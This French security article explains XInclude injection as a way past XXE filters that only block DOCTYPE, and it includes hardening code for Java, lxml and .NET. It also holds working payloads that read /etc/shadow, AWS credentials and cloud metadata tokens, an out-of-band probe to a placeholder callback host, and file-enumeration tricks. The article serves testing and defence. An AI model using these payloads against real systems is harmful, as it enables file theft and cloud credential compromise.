XInclude (CWE-827) inclut des fichiers ou URL dans des documents XML sans DOCTYPE, contournant les filtres qui ne bloquent que les entités XXE classiques.
TL;DR
<xi:include>, contournant les filtres vérifiant <!DOCTYPE<xi:include parse="text" href="file:///etc/passwd"/> lit les fichiers comme le XXE classique, via un mécanisme différentsetXIncludeAware(false) en Javahref="http://169.254.169.254/" fonctionne via XInclude comme le SSRF XXEXInclude (XML Inclusions, norme W3C) est un mécanisme de composition de documents qui permet aux documents XML d'inclure du contenu d'autres fichiers ou URL en utilisant des éléments XML qualifiés par espace de noms plutôt que des déclarations d'entités DTD. Quand un processeur XML rencontre <xi:include href="file:///etc/passwd" parse="text"/>, il récupère l'URI spécifiée et substitue l'élément par le contenu récupéré — le même effet que la divulgation de fichiers XXE classique, réalisé par un mécanisme entièrement différent.
L'injection XInclude (CWE-827 : Contrôle incorrect de la définition du type de document) s'applique quand un attaquant peut injecter du contenu XML dans une position de corps — contenu d'élément, corps de requête — mais ne peut pas contrôler le DOCTYPE. Elle contourne directement le modèle de durcissement XXE le plus courant : désactiver le traitement DOCTYPE. Une application qui bloque les déclarations <!DOCTYPE tout en laissant le traitement XInclude activé est vulnérable à la divulgation de fichiers et au SSRF via le vecteur XInclude.
OWASP A05:2021 (Mauvaise configuration de sécurité) s'applique parce que la désactivation de XInclude est un paramètre de parseur séparé de la désactivation des entités DOCTYPE, et la plupart de la documentation de durcissement se concentre exclusivement sur le vecteur DOCTYPE. CVE-2025-31200 a confirmé cette lacune de défense dans LibreOffice (CVSS 7.1) : le processeur de documents avait le XXE basé sur DOCTYPE bloqué mais traitait toujours les instructions XInclude, conduisant à une divulgation de fichiers lors de l'ouverture de fichiers ODT malveillants.
L'attaque ne nécessite aucune déclaration DOCTYPE. La charge utile est un élément XML pur :
<!-- Pas de DOCTYPE — contourne entièrement les filtres vérifiant DOCTYPE -->
<root xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/>
</root>Intégré dans le schéma XML attendu d'une application :
POST /api/order/validate HTTP/1.1
Host: app.example.com
Content-Type: application/xml
<order xmlns:xi="http://www.w3.org/2001/XInclude">
<productId>
<xi:include parse="text" href="file:///etc/passwd"/>
</productId>
<quantity>1</quantity>
</order>HTTP/1.1 200 OK
{"productId": "root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\n...", "quantity": 1}<!-- Fichiers sensibles Linux -->
<xi:include parse="text" href="file:///etc/passwd"/>
<xi:include parse="text" href="file:///etc/shadow"/>
<xi:include parse="text" href="/proc/self/environ"/>
<xi:include parse="text" href="file:///var/www/html/wp-config.php"/>
<xi:include parse="text" href="file:///home/app/.aws/credentials"/>
<!-- Fichiers sensibles Windows -->
<xi:include parse="text" href="file:///C:/Windows/System32/drivers/etc/hosts"/>
<xi:include parse="text" href="file:///C:/inetpub/wwwroot/web.config"/><!-- Métadonnées cloud (mêmes cibles que le SSRF XXE classique) -->
<xi:include parse="text" href="http://169.254.169.254/latest/meta-data/iam/security-credentials/"/>
<!-- Métadonnées GCP -->
<xi:include parse="text" href="http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"/>
<!-- Services internes -->
<xi:include parse="text" href="http://127.0.0.1:6379/"/><root xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/app-secret.key">
<xi:fallback>FICHIER_INTROUVABLE</xi:fallback>
</xi:include>
</root>Si la réponse contient FICHIER_INTROUVABLE, le fichier n'existe pas. Si elle contient d'autre contenu, le fichier a été lu. Cela permet l'énumération aveugle de l'existence de fichiers sans infrastructure OOB.
<!-- Inclure un autre fichier XML comme sous-arbre -->
<root xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="xml" href="file:///etc/xml/catalog"/>
</root>Cela inclut le fichier cible comme XML analysé, en le fusionnant dans l'arbre du document. Ne fonctionne que si le fichier cible est du XML valide. Utile pour lire les fichiers de contexte d'application Spring XML, les fichiers Maven POM et autres configurations XML.
CVE-2025-31200 — LibreOffice ODT XInclude (CVSS 7.1)
LibreOffice a implémenté le blocage du XXE basé sur DOCTYPE dans le traitement ODT. Cependant, le chemin de traitement XInclude a été laissé activé. Un fichier ODT avec un élément XInclude pointant vers file:///etc/passwd divulguait le fichier lors de l'ouverture ou de la conversion du document par un utilisateur. Ce CVE affecte LibreOffice dans les pipelines de traitement de documents — services de conversion automatisés, processeurs de pièces jointes d'e-mail et systèmes de gestion documentaire. Corrigé dans LibreOffice 25.2.3 et 24.8.7.
Les applications de la classe LibreOffice utilisant Apache FOP (convertisseur XSL-FO vers PDF) ont également été confirmées vulnérables à l'injection XInclude dans le contenu SVG transmis au processeur FOP, car Apache FOP supporte XInclude par défaut dans son pipeline de traitement XML.
CVE-2025-66516 — Apache Tika (composant XInclude)
Au-delà du vecteur XXE XFA, le pipeline de traitement de documents d'Apache Tika incluait des parseurs conscients de XInclude pour certains types de documents. Des callbacks OOB ont confirmé le traitement XInclude en plus du vecteur d'entité XFA principal avant le correctif 3.2.2.
HackerOne #293795 — Uberflip (escalade XInclude)
Après confirmation du XXE standard, le chercheur a testé XInclude pour vérifier qu'il était également non protégé. Le validateur de schéma XML de l'application ne reconnaissait pas les éléments xi:include comme suspects. Les deux vecteurs d'attaque ont été confirmés indépendamment. Cela illustre que les applications ont souvent plusieurs surfaces XXE simultanées.
Si les sondes XXE basées sur DOCTYPE sont bloquées (400 avec "DOCTYPE non autorisé"), escalader vers XInclude :
<root xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="http://VOTRE-JETON.oast.pro/xinclude-test"/>
</root>Intégrer xi:include dans la structure de document attendue de l'application :
<!-- Pour une API de commande attendant <order><productId>...</productId></order> -->
<order xmlns:xi="http://www.w3.org/2001/XInclude">
<productId><xi:include parse="text" href="file:///proc/version"/></productId>
</order>Tester l'existence de fichiers via xi:fallback :
<root xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/app.conf">
<xi:fallback>INTROUVABLE</xi:fallback>
</xi:include>
</root>Tester le SSRF via XInclude avec l'endpoint de métadonnées cloud.
Burp Suite Pro ne teste pas automatiquement XInclude par défaut — des charges utiles personnalisées sont nécessaires. Ajouter des charges utiles <xi:include> aux points d'insertion personnalisés du scanner actif.
La règle Semgrep java.lang.security.audit.xxe inclut des vérifications pour setXIncludeAware(true) et alerte sur l'activation de XInclude.
BreachVex exécute une sonde XInclude dédiée après son sondage XXE standard, en utilisant xi:include avec des tokens de rappel hors-bande. Cette sonde s'exécute indépendamment des sondes basées sur DOCTYPE et est déclenchée quand les sondes DOCTYPE échouent.
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
// Bloquer DOCTYPE (bloque le XXE classique)
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
// AUSSI désactiver XInclude — paramètre séparé
dbf.setXIncludeAware(false); // critique — non impliqué par la désactivation DOCTYPE
DocumentBuilder db = dbf.newDocumentBuilder();// SAXParserFactory — même modèle
SAXParserFactory spf = SAXParserFactory.newInstance();
spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
spf.setXIncludeAware(false); // doit être explicite
SAXParser sp = spf.newSAXParser();from lxml import etree
# VULNÉRABLE — appel de xinclude() sur contenu non fiable
parser = etree.XMLParser(resolve_entities=False)
tree = etree.fromstring(xml_bytes, parser=parser)
tree.xinclude() # traite xi:include même avec resolve_entities=False
# SÛRE — ne jamais appeler xinclude() sur contenu non fiable
parser = etree.XMLParser(
resolve_entities=False,
no_network=True,
load_dtd=False,
)
tree = etree.fromstring(xml_bytes, parser=parser)
# NE PAS appeler tree.xinclude() sur du contenu contrôlé par l'attaquant// .NET XmlReader — XInclude non supporté nativement
// Si utilisation de XInclude via bibliothèque tierce (MVPXML, SaxonCS), s'assurer
// que l'accès aux fichiers externes est restreint :
var settings = new XmlReaderSettings {
DtdProcessing = DtdProcessing.Prohibit,
XmlResolver = null // prévient également la récupération de ressources externes XInclude
};Modèle de lacune de défense : De nombreux guides de durcissement instruisent les développeurs de désactiver le traitement DOCTYPE et considèrent XXE comme corrigé. XInclude est une norme W3C distincte utilisant un chemin de code différent. CVE-2025-31200 (LibreOffice) et la surface d'attaque Batik/FOP démontrent que bloquer DOCTYPE tout en laissant XInclude activé maintient un vecteur de lecture de fichier alternatif complet. Toujours configurer les deux.
XInclude (XML Inclusions) est une norme W3C qui permet aux documents XML de se composer en incluant du contenu d'autres fichiers ou URL via des éléments xi:include. Contrairement aux entités DTD externes, XInclude ne nécessite pas de déclaration DOCTYPE — il utilise des éléments XML qualifiés par espace de noms. Quand une application traite un XML contenant xi:include href='file:///etc/passwd' parse='text', le processeur XML récupère et intègre le contenu du fichier. Un attaquant capable d'injecter du contenu XML (mais pas de contrôler le DOCTYPE) peut utiliser XInclude pour lire des fichiers.
Le XXE classique nécessite une déclaration DOCTYPE et des définitions d'entités externes : <!DOCTYPE foo [<!ENTITY xxe SYSTEM 'file://...'>]>. XInclude utilise des éléments XML dans le corps du document : <xi:include xmlns:xi='http://www.w3.org/2001/XInclude' parse='text' href='file:///etc/passwd'/>. Aucun DOCTYPE n'est nécessaire. Cela contourne les défenses qui vérifient la présence de <!DOCTYPE dans l'entrée ou qui désactivent le traitement DOCTYPE tout en laissant XInclude activé. CWE-827 (Contrôle incorrect de la définition du type de document) couvre XInclude, distinct de CWE-611 pour le XXE classique.
L'injection XInclude s'applique quand : (1) l'attaquant peut injecter du XML dans une position de corps (contenu d'élément, valeur d'attribut) mais ne peut pas contrôler le DOCTYPE du document ; (2) l'application bloque les déclarations DOCTYPE mais traite XInclude ; (3) le parseur a DOCTYPE désactivé mais XInclude activé (courant — ce sont des paramètres séparés). Le XXE classique s'applique quand l'attaquant contrôle le document XML complet incluant le DOCTYPE. En pratique, beaucoup de guides de durcissement se concentrent uniquement sur DOCTYPE et oublient XInclude.
CVE-2025-31200 (LibreOffice ODT, CVSS 7.1) est l'exemple récent le plus clair. LibreOffice rejetait les charges utiles XXE basées sur DOCTYPE dans les fichiers ODT mais traitait toujours les instructions XInclude dans le XML du document. Un ODT avec xi:include href='file:///etc/passwd' parse='text' divulguait le fichier lors de l'ouverture ou de la conversion du document. Corrigé dans LibreOffice 25.2.3 et 24.8.7. Ce CVE illustre la 'lacune de défense' : durcissement contre une technique sans couvrir la technique connexe.
xi:include a deux modes : parse='text' lit le fichier cible comme texte brut et l'inclut comme nœud textuel — cela fonctionne pour tout fichier y compris le contenu binaire (bien que le binaire puisse poser des problèmes d'encodage). parse='xml' récupère et analyse la cible comme un document XML, puis la fusionne dans l'arbre du document incluant. Pour la divulgation de fichiers, parse='text' est plus fiable car il lit le contenu brut du fichier sans analyse XML. parse='xml' ne fonctionne que si le fichier cible est du XML valide.
Oui. xi:include href='http://service-interne/' parse='text' fait émettre une requête HTTP vers l'URL spécifiée par le processeur XML et inclut la réponse comme contenu textuel. C'est le même mécanisme SSRF via XML que l'entité SYSTEM http:// du XXE classique, mais implémenté via XInclude. Les cibles SSRF sont identiques : AWS IMDS, API internes, serveur API Kubernetes, Redis. Le SSRF XInclude est déclenché même sur les parseurs qui ont les entités externes basées sur DOCTYPE désactivées.
Si les sondes d'entités basées sur DOCTYPE retournent 400 avec 'DOCTYPE non autorisé', essayer XInclude : soumettre <root xmlns:xi='http://www.w3.org/2001/XInclude'><xi:include parse='text' href='file:///etc/passwd'/></root>. Si l'endpoint traite le contenu du corps XML (vous contrôlez le contenu des éléments), intégrer xi:include comme élément enfant. Si le contenu du fichier apparaît dans la réponse ou qu'un callback OOB se déclenche, XInclude est activé et non protégé.
Non. Le traitement DOCTYPE et XInclude sont contrôlés par des paramètres de parseur séparés. En Java JAXP : désactiver DOCTYPE (setFeature disallow-doctype-decl=true) ne désactive PAS XInclude — vous devez aussi appeler setXIncludeAware(false). Dans lxml : définir load_dtd=False ne désactive pas XInclude — utiliser etree.XMLParser(load_dtd=False, no_network=True) plus éviter les appels xinclude(). Dans libxml2 : XML_PARSE_NOENT ne désactive pas XML_PARSE_XINCLUDE. Les deux doivent être configurés indépendamment.
XInclude supporte un élément xi:fallback : si le xi:include href principal échoue (fichier introuvable, erreur réseau), le contenu de xi:fallback est utilisé. Un attaquant peut utiliser cela pour l'énumération de chemins de fichiers basée sur les erreurs : inclure un fichier supposé exister, et utiliser le repli pour détecter son absence. Cela permet une traversée de répertoire aveugle pour énumérer la structure du système de fichiers. Exemple : <xi:include href='file:///etc/app-secret.key'><xi:fallback>FICHIER_INTROUVABLE</xi:fallback></xi:include>.
La plupart des scanners XXE standards (Burp Suite Pro, XXEinjector) ne testent pas automatiquement XInclude. La détection XInclude nécessite des charges utiles personnalisées. Les règles Semgrep pour 'XInclude' et 'setXIncludeAware' détectent les problèmes de configuration dans le code Java. Le test manuel reste l'approche la plus fiable : soumettre des charges utiles xi:include avec des jetons Interactsh et surveiller les callbacks OOB. BreachVex teste XInclude séparément de son sondage XXE principal, en utilisant une sonde XInclude dédiée qui s'exécute après la complétion des sondes basées sur DOCTYPE.
Parseurs Java SAX/DOM avec setXIncludeAware(true) (pas le défaut, mais couramment défini pour le traitement DITA/DocBook). Python lxml quand l'arbre est construit puis que xinclude() est appelé explicitement. libxslt lors du traitement XSLT utilisant la fonction document() avec des sources traitées par XInclude. LibreOffice (avant correctif CVE-2025-31200). Apache Batik (moteur de rendu SVG — SVG 1.1 supporte XLink, qui chevauche le traitement XInclude). Apache FOP (processeur XSL-FO vers PDF).